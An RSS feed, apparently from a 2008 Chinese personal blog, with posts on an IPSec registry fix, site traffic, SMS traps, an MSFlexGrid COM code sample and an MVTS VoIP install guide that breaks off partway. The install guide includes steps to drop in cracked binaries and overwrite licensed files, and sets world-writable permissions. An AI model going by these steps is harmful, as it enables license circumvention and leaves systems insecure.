<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>月涌大江流</title>
	<atom:link href="http://www.yueyong.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.yueyong.net</link>
	<description>星垂平野阔,月涌大江流</description>
	<pubDate>Mon, 15 Dec 2008 02:46:06 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>不能打开IPSEC策略存储容器 的解决办法</title>
		<link>http://www.yueyong.net/html/2008/12/15/ipsec-error.html</link>
		<comments>http://www.yueyong.net/html/2008/12/15/ipsec-error.html#comments</comments>
		<pubDate>Mon, 15 Dec 2008 02:46:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[网络安全]]></category>

		<category><![CDATA[ipsec]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=311</guid>
		<description><![CDATA[今天重启系统，突然上不了网了，网络连接故障。查找日志，发现是ipsec服务没有启动。打开本地安全策略，出现，不能打开IPSEC策略存储容器，找不到指定文件错误。最后解决
删除[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local]
然后重建ipsce
在CMD里输入regsvr32 polstore.dll
]]></description>
			<content:encoded><![CDATA[<p>今天重启系统，突然上不了网了，网络连接故障。查找日志，发现是ipsec服务没有启动。打开本地安全策略，出现，不能打开IPSEC策略存储容器，找不到指定文件错误。最后解决</p>
<p>删除[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local]</p>
<p>然后重建ipsce</p>
<p>在CMD里输入regsvr32 polstore.dll</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/12/15/ipsec-error.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>搞笑的胸罩广告</title>
		<link>http://www.yueyong.net/html/2008/12/13/xiongzao-guangga.html</link>
		<comments>http://www.yueyong.net/html/2008/12/13/xiongzao-guangga.html#comments</comments>
		<pubDate>Sat, 13 Dec 2008 14:49:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[娱乐八卦]]></category>

		<category><![CDATA[杂七杂八]]></category>

		<category><![CDATA[广告]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=309</guid>
		<description><![CDATA[很有意思

]]></description>
			<content:encoded><![CDATA[<p>很有意思<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/ME0_GiRZe34&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/ME0_GiRZe34&amp;hl=en&amp;fs=1" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/12/13/xiongzao-guangga.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>今天访问量居然突破7000IP</title>
		<link>http://www.yueyong.net/html/2008/12/13/ip-7000.html</link>
		<comments>http://www.yueyong.net/html/2008/12/13/ip-7000.html#comments</comments>
		<pubDate>Sat, 13 Dec 2008 14:12:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[网站资源]]></category>

		<category><![CDATA[访问量]]></category>

		<category><![CDATA[IP]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=307</guid>
		<description><![CDATA[每天的IP都是只有200多IP访问，今天偶尔上统计查看，吓我一大跳，PV居然过万，这是自从年初百度降权之后重新冲破1000IP，而且昨天就突破5000IP。仔细分析了统计数据，发现大部分流量都是从QQ来的，不晓得是哪个把我博客某篇文章转发到QQ论坛上，居然一天就来了7000多IP，看来QQ真是太强大了。以前百度收录多的时候最多也就给我带过3000IP。SOSO取代BAIDU应该是早晚饿事情
]]></description>
			<content:encoded><![CDATA[<p>每天的IP都是只有200多IP访问，今天偶尔上统计查看，吓我一大跳，PV居然过万，这是自从年初百度降权之后重新冲破1000IP，而且昨天就突破5000IP。仔细分析了统计数据，发现大部分流量都是从QQ来的，不晓得是哪个把我博客某篇文章转发到QQ论坛上，居然一天就来了7000多IP，看来QQ真是太强大了。以前百度收录多的时候最多也就给我带过3000IP。SOSO取代BAIDU应该是早晚饿事情</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/12/13/ip-7000.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>VOS的盗版政策</title>
		<link>http://www.yueyong.net/html/2008/12/04/vos-cracking.html</link>
		<comments>http://www.yueyong.net/html/2008/12/04/vos-cracking.html#comments</comments>
		<pubDate>Thu, 04 Dec 2008 07:48:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[VOIP和软交换]]></category>

		<category><![CDATA[VOS]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=305</guid>
		<description><![CDATA[VOS的盗版政策初见成效了，到处都在谈论VOS了，各大VOIP的BBS掀起一轮学习VOS的热潮，相比而言SVSS的就冷清多了，毕竟还不是太稳定的版本，用户的新鲜劲过了之后重归理性。
]]></description>
			<content:encoded><![CDATA[<p>VOS的盗版政策初见成效了，到处都在谈论VOS了，各大VOIP的BBS掀起一轮学习VOS的热潮，相比而言SVSS的就冷清多了，毕竟还不是太稳定的版本，用户的新鲜劲过了之后重归理性。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/12/04/vos-cracking.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>搞定了山寨机垃圾短信陷阱</title>
		<link>http://www.yueyong.net/html/2008/11/28/shanzaiji-sp-xianjing-2.html</link>
		<comments>http://www.yueyong.net/html/2008/11/28/shanzaiji-sp-xianjing-2.html#comments</comments>
		<pubDate>Fri, 28 Nov 2008 05:41:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[其他]]></category>

		<category><![CDATA[山寨机]]></category>

		<category><![CDATA[短信陷阱]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=302</guid>
		<description><![CDATA[这个月不小心碰到山寨机的短信陷阱，又被扣了12元。气死我了，后来在网上找到一个办法，就是打10086关闭梦网短信功能，这样再不小心碰到那些陷阱就会收到短信：
由于未经您的授权，本次请求未成功，如需使用，请致电10086中国移动进行开通。
]]></description>
			<content:encoded><![CDATA[<p>这个月不小心碰到山寨机的短信陷阱，又被扣了12元。气死我了，后来在网上找到一个办法，就是打10086关闭梦网短信功能，这样再不小心碰到那些陷阱就会收到短信：</p>
<p>由于未经您的授权，本次请求未成功，如需使用，请致电10086中国移动进行开通。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/28/shanzaiji-sp-xianjing-2.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>程序调用MSFLXGRID.OCX例子</title>
		<link>http://www.yueyong.net/html/2008/11/28/sdk-msflxgrid.html</link>
		<comments>http://www.yueyong.net/html/2008/11/28/sdk-msflxgrid.html#comments</comments>
		<pubDate>Fri, 28 Nov 2008 01:04:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[杂七杂八]]></category>

		<category><![CDATA[SDK]]></category>

		<category><![CDATA[控件]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=300</guid>
		<description><![CDATA[最近在维护一个SDK写的程序，某个显示界面要使用表格控件，在网上搜索了很多人的文章，参考了http://topic.csdn.net/t/20020702/14/843997.html 和http://www.titilima.cn/show-64-1.html 这两篇文章，做了个个MSFLXGRID.OCX版的测试程序，在VC++6中通过。
// testgrid.cpp : Defines the entry point for the application.
//
#include &#8220;stdafx.h&#8221;
#import   &#8220;c:\windows\system32\msflxgrd.ocx&#8221;  
  #include   &#60;atlbase.h&#62;  
    CComModule   _Module;  
  #include   &#60;atlwin.h&#62;  
  #pragma   comment(lib,&#8221;atl&#8221;)  
  #define   ODS(x)   OutputDebugString(x)
// 处理连接点事件的接收器实现
 class   CFlexGridSink   :   public  MSFlexGridLib::DMSFlexGridEvents  
  {  
  public:
  
   CFlexGridSink() :m_pFlexGrid(NULL),m_dwRef(1),m_hrConnected(CONNECT_E_CANNOTCONNECT), m_dwCookie(0),m_pCP(NULL)  
  {  
  }  
   
  ~CFlexGridSink()  
  {  
  }
  //控件初始化操作
  HRESULT   Init(MSFlexGridLib::IMSFlexGrid*   pWin)  
  {  
  HRESULT   hr   =   NOERROR;  
  LPCONNECTIONPOINTCONTAINER   pCPC   =   NULL;  
  if   (m_pFlexGrid)  
  m_pFlexGrid-&#62;Release();  
  m_pFlexGrid [...]]]></description>
			<content:encoded><![CDATA[<p>最近在维护一个SDK写的程序，某个显示界面要使用表格控件，在网上搜索了很多人的文章，参考了<a href="http://topic.csdn.net/t/20020702/14/843997.html">http://topic.csdn.net/t/20020702/14/843997.html</a> 和<a href="http://www.titilima.cn/show-64-1.html">http://www.titilima.cn/show-64-1.html</a> 这两篇文章，做了个个MSFLXGRID.OCX版的测试程序，在VC++6中通过。</p>
<p>// testgrid.cpp : Defines the entry point for the application.<br />
//</p>
<p>#include &#8220;stdafx.h&#8221;<br />
#import   &#8220;c:\windows\system32\msflxgrd.ocx&#8221;  <br />
  #include   &lt;atlbase.h&gt;  <br />
    CComModule   _Module;  <br />
  #include   &lt;atlwin.h&gt;  <br />
  #pragma   comment(lib,&#8221;atl&#8221;)  <br />
  #define   ODS(x)   OutputDebugString(x)<br />
// 处理连接点事件的接收器实现<br />
 class   CFlexGridSink   :   public  MSFlexGridLib::DMSFlexGridEvents  <br />
  {  <br />
  public:<br />
  <br />
   CFlexGridSink() :m_pFlexGrid(NULL),m_dwRef(1),m_hrConnected(CONNECT_E_CANNOTCONNECT), m_dwCookie(0),m_pCP(NULL)  <br />
  {  <br />
  }  <br />
   <br />
  ~CFlexGridSink()  <br />
  {  <br />
  }<br />
  //控件初始化操作<br />
  HRESULT   Init(MSFlexGridLib::IMSFlexGrid*   pWin)  <br />
  {  <br />
  HRESULT   hr   =   NOERROR;  <br />
  LPCONNECTIONPOINTCONTAINER   pCPC   =   NULL;  <br />
  if   (m_pFlexGrid)  <br />
  m_pFlexGrid-&gt;Release();  <br />
  m_pFlexGrid = pWin;  <br />
 <br />
  if   (FAILED(hr   =   pWin-&gt;QueryInterface(IID_IConnectionPointContainer,   (LPVOID*)&amp;pCPC)))  <br />
  goto   Error;  <br />
  if   (FAILED(hr   =   pCPC-&gt;FindConnectionPoint(__uuidof(MSFlexGridLib::DMSFlexGridEvents),   &amp;m_pCP)))  <br />
  goto   Error;  <br />
  m_hrConnected   =   m_pCP-&gt;Advise((LPUNKNOWN)this,   &amp;m_dwCookie);  <br />
  ODS(&#8221;Init   runs   well&#8221;);  <br />
  Error:  <br />
  if   (pCPC)   pCPC-&gt;Release();  <br />
  return   hr;  <br />
  }  <br />
  HRESULT   Passivate()  <br />
  {  <br />
  HRESULT   hr   =   NOERROR;  <br />
  if   (m_pCP)  <br />
  {  <br />
  if   (m_dwCookie)  <br />
  {  <br />
  hr   =   m_pCP-&gt;Unadvise(m_dwCookie);  <br />
  m_dwCookie   =   0;  <br />
  }  <br />
    m_pCP-&gt;Release();  <br />
    m_pCP   =   NULL;  <br />
  }  <br />
  if   (m_pFlexGrid)  <br />
  {  <br />
  m_pFlexGrid-&gt;Release();  <br />
  m_pFlexGrid   =   NULL;  <br />
  }  <br />
  return   NOERROR;  <br />
  }  //初始化结束</p>
<p> //   IUnknown   方法  <br />
 STDMETHOD(QueryInterface)(REFIID   riid,   LPVOID*   ppv)  <br />
  {  <br />
  *ppv   =   NULL;  <br />
  if   (IID_IUnknown   ==   riid)  <br />
  {  <br />
  *ppv   =   (LPUNKNOWN)this;  <br />
  AddRef(); ODS(&#8221;IID_IUnknown&#8221;);  <br />
  return   NOERROR;  <br />
  }  <br />
  else   if   (IID_IDispatch   ==   riid)  <br />
  {  <br />
  *ppv   =   (IDispatch*)this;  <br />
  AddRef(); ODS(&#8221;IID_IDispatch&#8221;);  <br />
  return   NOERROR;  <br />
  }  <br />
  else   if(riid==__uuidof(MSFlexGridLib::DMSFlexGridEvents))  <br />
  {  <br />
  *ppv   =   (MSFlexGridLib::DMSFlexGridEvents*)this;  <br />
  AddRef(); ODS(&#8221;DMSFlexGridEvents引用\n&#8221;);  <br />
  return   NOERROR;  <br />
  }  <br />
  else  <br />
  {  <br />
    OLECHAR   wszBuff[39];  <br />
    int   i   =   StringFromGUID2(riid,   wszBuff,   39);  <br />
    TCHAR   szBuff[39];  <br />
    i   =   WideCharToMultiByte(CP_ACP,   0,   wszBuff,   -1,   szBuff,   39,   NULL,   NULL);  <br />
    ODS(&#8221;DMSFlexGridEvents   QI:   &#8220;);   ODS(szBuff);   ODS(&#8221;\n&#8221;);  <br />
    return   E_NOTIMPL;  <br />
      }  <br />
  }          </p>
<p> //////////////////////////////////</p>
<p> STDMETHOD_(ULONG,AddRef)()  <br />
  {  <br />
  TCHAR   szBuff[255];  <br />
  wsprintf(szBuff,   &#8220;引用增加CFlexgridSink   refcount   increased   to   %d\n&#8221;,   m_dwRef+1);  <br />
  ODS(szBuff);  <br />
  return   ++m_dwRef;  <br />
  }   <br />
 ////////////////////////////<br />
   STDMETHOD_(ULONG,   Release)()  <br />
  {  <br />
  TCHAR   szBuff[255];  <br />
  if   (&#8211;m_dwRef   ==   0)    <br />
  {    <br />
  ODS(&#8221;删除Deleting   CFlexgridSink\n&#8221;);  <br />
  delete   this;    <br />
  return   0;    <br />
  }  <br />
  wsprintf(szBuff,   &#8220;减少到：CFlexgridSink   refcount   reduced   to   %d\n&#8221;,   m_dwRef);  <br />
  ODS(szBuff);  <br />
  return   m_dwRef;  <br />
  }  <br />
 /////////////////////////////////</p>
<p>//   IDispatch   method  <br />
  STDMETHOD(GetTypeInfoCount)(UINT*   pctinfo)  <br />
  {   ODS(&#8221;GetTypeInfoCount\n&#8221;);   return   E_NOTIMPL;   }  <br />
   <br />
  STDMETHOD(GetTypeInfo)(UINT   iTInfo,  <br />
                          LCID   lcid,  <br />
                          ITypeInfo**   ppTInfo)  <br />
  {   ODS(&#8221;GetTypeInfo\n&#8221;);   return   E_NOTIMPL;   }  <br />
   <br />
  STDMETHOD(GetIDsOfNames)(REFIID   riid,  <br />
                          LPOLESTR*   rgszNames,  <br />
                          UINT   cNames,  <br />
                          LCID   lcid,  <br />
                          DISPID*   rgDispId)  <br />
  {   ODS(&#8221;GetIDsOfNames\n&#8221;);   return   E_NOTIMPL;   }  <br />
                   <br />
  STDMETHOD(Invoke)(DISPID   dispIdMember,  <br />
                          REFIID   riid,  <br />
                          LCID   lcid,  <br />
                          WORD   wFlags,  <br />
  DISPPARAMS   __RPC_FAR   *pDispParams,  <br />
                          VARIANT   __RPC_FAR   *pVarResult,  <br />
                          EXCEPINFO   __RPC_FAR   *pExcepInfo,  <br />
                          UINT   __RPC_FAR   *puArgErr)  <br />
  { <br />
   TCHAR   szBuff[255];  <br />
   long x,y;<br />
 // wsprintf(szBuff,   &#8220;pVarResult: %d,事件发生:   %x\n&#8221;,  pVarResult, dispIdMember);  <br />
  //ODS(szBuff);  <br />
    //ODS(&#8221;事件发生\n&#8221;);<br />
  /*if   (!pVarResult)  <br />
  {  <br />
  return   E_POINTER;  <br />
  }   */<br />
  switch(dispIdMember)  <br />
  {  <br />
  case DISPID_CLICK:  <br />
 <br />
 m_pFlexGrid-&gt;get_MouseRow(&amp;x);<br />
 m_pFlexGrid-&gt;get_MouseCol(&amp;y);<br />
 wsprintf(szBuff,   &#8220;鼠标单击 行:%d, 列:%d\n&#8221;, x, y);<br />
  MessageBox(NULL,szBuff,&#8221;测试一个程序&#8221;,MB_OK);</p>
<p>  break;  <br />
  //case 0&#215;47:<br />
 //MessageBox(NULL,&#8221;Entercell&#8221;,&#8221;测试一个程序&#8221;,MB_OK);<br />
 //break;<br />
  case  DISPID_DBLCLICK: <br />
 <br />
  ODS(&#8221;DblClick&#8221;);  <br />
  break;  <br />
  case   DISPID_READYSTATECHANGE:  <br />
  ODS(&#8221;OnReadyStateChange&#8221;);  <br />
  break;  <br />
  default:  <br />
  TCHAR   szBuff[255];  <br />
  wsprintf(szBuff,&#8221;dispIdMember=%d&#8221;,dispIdMember);  <br />
  ODS(szBuff);  <br />
  return   DISP_E_MEMBERNOTFOUND;  <br />
  }  <br />
  return   NOERROR;  <br />
  }            <br />
    </p>
<p> </p>
<p>   /////////////////////////<br />
private:  <br />
 MSFlexGridLib::IMSFlexGrid*   m_pFlexGrid;  <br />
  DWORD   m_dwRef;  <br />
  LPCONNECTIONPOINT   m_pCP;  <br />
  HRESULT   m_hrConnected;  <br />
  DWORD   m_dwCookie;  <br />
 };//类结束</p>
<p> </p>
<p> </p>
<p> HINSTANCE   hInst;<br />
 CAxWindow   m_container; <br />
CFlexGridSink g_FlexGrid;<br />
  using   namespace MSFlexGridLib;</p>
<p> IMSFlexGrid* flxdbg;<br />
BOOL InitInstance(HINSTANCE   hInstance,   int   nCmdShow)  <br />
  {  <br />
        HWND   hWnd;  <br />
        hInst   =   hInstance;   //   Store   instance   handle   in   our   global   variable  <br />
   AtlAxWinInit(); <br />
        hWnd   =   CreateWindow(&#8221;mydoc&#8221;,   &#8220;this test windows&#8221;,   WS_OVERLAPPEDWINDOW,  <br />
              CW_USEDEFAULT,   0,   CW_USEDEFAULT,   0,   NULL,   NULL,   hInstance,   NULL);  <br />
        if   (!hWnd)  <br />
              return   FALSE;  <br />
        ShowWindow(hWnd,   nCmdShow);  <br />
        UpdateWindow(hWnd);  <br />
        return   TRUE;  <br />
  }</p>
<p> <br />
LRESULT APIENTRY WndProc(HWND hWnd, UINT message,<br />
   WPARAM wParam, LPARAM lParam);<br />
 BOOL InitInstance(HINSTANCE,   int);<br />
int APIENTRY WinMain(HINSTANCE hInstance,<br />
                     HINSTANCE hPrevInstance,<br />
                     LPSTR     lpCmdLine,<br />
                     int       nCmdShow)<br />
{<br />
 MSG   msg;<br />
   WNDCLASSEX   wcex;  <br />
  wcex.cbSize   =   sizeof(WNDCLASSEX);    <br />
  wcex.style =   CS_HREDRAW   |   CS_VREDRAW;  <br />
  wcex.lpfnWndProc =   (WNDPROC)WndProc;  <br />
  wcex.cbClsExtra =   0;  <br />
  wcex.cbWndExtra =   0;  <br />
  wcex.hInstance =   hInstance;  <br />
  wcex.hIcon =   LoadIcon(NULL,   IDI_APPLICATION);  <br />
  wcex.hCursor =   LoadCursor(NULL,   IDC_ARROW);  <br />
  wcex.hbrBackground =   (HBRUSH)(COLOR_WINDOW+1);  <br />
  wcex.lpszMenuName =   NULL;//(LPCSTR)IDC_FLSH;  <br />
  wcex.lpszClassName =   &#8220;mydoc&#8221;;  <br />
  wcex.hIconSm =   LoadIcon(NULL,   IDI_APPLICATION);  <br />
   RegisterClassEx(&amp;wcex);<br />
 CoInitialize(NULL);<br />
  if   (!InitInstance   (hInstance,   nCmdShow))   return   FALSE; <br />
  while   (GetMessage(&amp;msg,   NULL,   0,   0))    <br />
  {  <br />
  TranslateMessage(&amp;msg);  <br />
  DispatchMessage(&amp;msg);  <br />
  }  <br />
  <br />
  return   msg.wParam;  <br />
  }  <br />
   </p>
<p>LRESULT   CALLBACK   WndProc(HWND   hWnd,   UINT   message,   WPARAM   wParam,   LPARAM   lParam)  <br />
  {  <br />
  int   wmId,   wmEvent;  <br />
 <br />
 PAINTSTRUCT   ps;  <br />
  HDC   hdc; <br />
  <br />
  switch   (message)    <br />
  {  <br />
  case   WM_CREATE:  <br />
RECT   rc;<br />
CreateWindow(TEXT(&#8221;BUTTON&#8221;),TEXT(&#8221;按钮(&amp;A)&#8221;),<br />
WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON, 10, 10, 100, 30, hWnd, (HMENU)1000, //控件ID<br />
((LPCREATESTRUCT) lParam)-&gt;hInstance, //实例句柄<br />
NULL); //创建一个按钮</p>
<p>GetClientRect(hWnd,   &amp;rc   );  <br />
  rc.top   =   rc.top+50;  <br />
  m_container.Create(   hWnd,   rc,   LPCTSTR(&#8221;MsFlexGridLib.MSFlexGrid&#8221;),   WS_CHILD|WS_VISIBLE|WS_HSCROLL|WS_VSCROLL   );<br />
m_container.QueryControl(   __uuidof(IMSFlexGrid),   reinterpret_cast&lt;void**&gt;(&amp;flxdbg)   );<br />
g_FlexGrid.Init (flxdbg);<br />
flxdbg-&gt;ColWidth[1]=1500;<br />
//flxdbg-&gt;put_BackColor(180)<br />
flxdbg-&gt;PutBackColorSel(180);<br />
flxdbg-&gt;put_Rows(10);<br />
flxdbg-&gt;put_Cols (10);<br />
flxdbg-&gt;AllowUserResizing=flexResizeBoth;<br />
flxdbg-&gt;FixedCols  =0;<br />
//flxdbg-&gt;put_RowSel(10);<br />
flxdbg-&gt;Row =3;<br />
flxdbg-&gt;ColSel=8;<br />
 flxdbg-&gt;put_CellBackColor(0xff0000);<br />
flxdbg-&gt;Row =5;<br />
flxdbg-&gt;ColSel=8;<br />
 flxdbg-&gt;put_CellBackColor(0xff0000);<br />
flxdbg-&gt;put_TextMatrix(0,0,SysAllocString(L&#8221;槽号&#8221;));<br />
flxdbg-&gt;put_TextMatrix(1,0,SysAllocString(L&#8221;101&#8243;));<br />
flxdbg-&gt;put_TextMatrix(0,1,SysAllocString(L&#8221;电流&#8221;));<br />
flxdbg-&gt;put_TextMatrix(1,1,SysAllocString(L&#8221;160&#8243;));<br />
flxdbg-&gt;put_TextMatrix(0,2,SysAllocString(L&#8221;电压&#8221;));</p>
<p>     //  return 0;</p>
<p>  break;  <br />
  case   WM_SIZING:  <br />
  GetClientRect(hWnd,   &amp;rc   );  <br />
  rc.top   =   rc.top+100;  <br />
 <br />
  m_container.MoveWindow(&amp;rc,true);<br />
 <br />
 // flxdbg-&gt;Rows-&gt;<br />
  break;  <br />
  case   WM_COMMAND:  <br />
  wmId         =   LOWORD(wParam);    <br />
  wmEvent   =   HIWORD(wParam);    <br />
 <br />
  switch   (wmId)  <br />
  {  <br />
  case   1000:  <br />
  {  <br />
  MessageBox(NULL,&#8221;按钮按下了&#8221;,&#8221;测试一个程序&#8221;,MB_OK);</p>
<p>  <br />
  }  <br />
  break;  <br />
  default:  <br />
        return   DefWindowProc(hWnd,   message,   wParam,   lParam);  <br />
  }  <br />
  break;  <br />
  case   WM_PAINT:  <br />
  hdc   =   BeginPaint(hWnd,   &amp;ps);  <br />
  RECT   rt;  <br />
  GetClientRect(hWnd,   &amp;rt);  <br />
    <br />
  EndPaint(hWnd,   &amp;ps);  <br />
  break;  <br />
  case   WM_DESTROY:<br />
 g_FlexGrid.Release ();<br />
  PostQuitMessage(0);  <br />
  break;  <br />
  default:  <br />
  return   DefWindowProc(hWnd,   message,   wParam,   lParam);  <br />
        }  <br />
        return   0;  <br />
  }</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/28/sdk-msflxgrid.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>安装MVTS主执行程序</title>
		<link>http://www.yueyong.net/html/2008/11/23/mvts-install.html</link>
		<comments>http://www.yueyong.net/html/2008/11/23/mvts-install.html#comments</comments>
		<pubDate>Sun, 23 Nov 2008 14:59:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[VOIP和软交换]]></category>

		<category><![CDATA[mvts]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=298</guid>
		<description><![CDATA[
一、安装MVTS：
cd /usr/local
tar xvzf mvts-310-Linux.tar.gz
cd ./mvts
chmod 777 setup.sh
./setup.sh
输入： enter MVTS admin group id:  0
enter MVTS support group id: 0
enter MVTS billing group id: 0
全部输入root的group id为0
MVTS安装完成！
二、解密：
将mp_kerneld.x拷贝到/usr/local/mvts/bin目录下
将文件权限改为：-r-xr-x—x （chomd 777 mp_kerneld.x）
三、执行MVTS
/etc/rc.d/init.d/mvts start
/usr/local/mvts/bin/mp_shell.x进入MVTS控制台
#&#62;  show stat 显示MVTS状态


MVTS-SIP-HIT协议转换程序
安装SIP转换程序
tar zxvf SIP-HIT_1.1.2.10_linux.tar.gz
./install.sh
/usr/local/siphit回车
安装完成
将 cr_siphit_linux.tgz拷到/usr/local/siphit目录下，解压覆盖原文件OK！
Chmod 777 convert


mvts_manager.tar.gz
安装MVTS管理程序及WEB
tar zxvf manager.tar.gz
cd manager
Chmod 777 setup
[root@localhost manager]# ./setup
MVTS directory? [/usr/local/mvts]:
MVTS Manager directory? [/usr/local/mvts/manager]:
File or directory /usr/local/mvts/manager exists. Replace? [y/n]: y
MVTS admin group? [...]]]></description>
			<content:encoded><![CDATA[<div style="border-right: medium none; padding-right: 0cm; border-top: medium none; padding-left: 0cm; padding-bottom: 1pt; border-left: medium none; padding-top: 0cm; border-bottom: windowtext 3pt dotted; mso-element: para-border-div;">
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; mso-border-bottom-alt: dotted windowtext 3.0pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm;"><span style="font-size: small;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">一、安装</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">MVTS</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">：</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
<span style="font-size: small; font-family: Times New Roman;">cd /usr/local<br />
tar xvzf mvts-310-Linux.tar.gz<br />
cd ./mvts<br />
chmod 777 setup.sh<br />
./setup.sh<br />
</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">输入：</span></span><span style="font-size: small;"><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;"> enter MVTS admin group id:  0<br />
enter MVTS support group id: 0<br />
enter MVTS billing group id: 0<br />
</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">全部输入</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">root</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">的</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">group id</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">为</span></span><span style="font-size: small;"><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">0<br />
MVTS</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">安装完成！</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
</span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">二、解密：</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
</span><span style="font-size: small;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">将</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">mp_kerneld.x</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">拷贝到</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">/usr/local/mvts/bin</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">目录下</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
</span><span style="font-size: small;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">将文件权限改为：</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">-r-xr-x—x </span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">（</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">chomd 777 mp_kerneld.x</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">）</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
</span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';"><span style="font-size: small;">三、执行</span></span><span style="font-size: small;"><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">MVTS<br />
/etc/rc.d/init.d/mvts start<br />
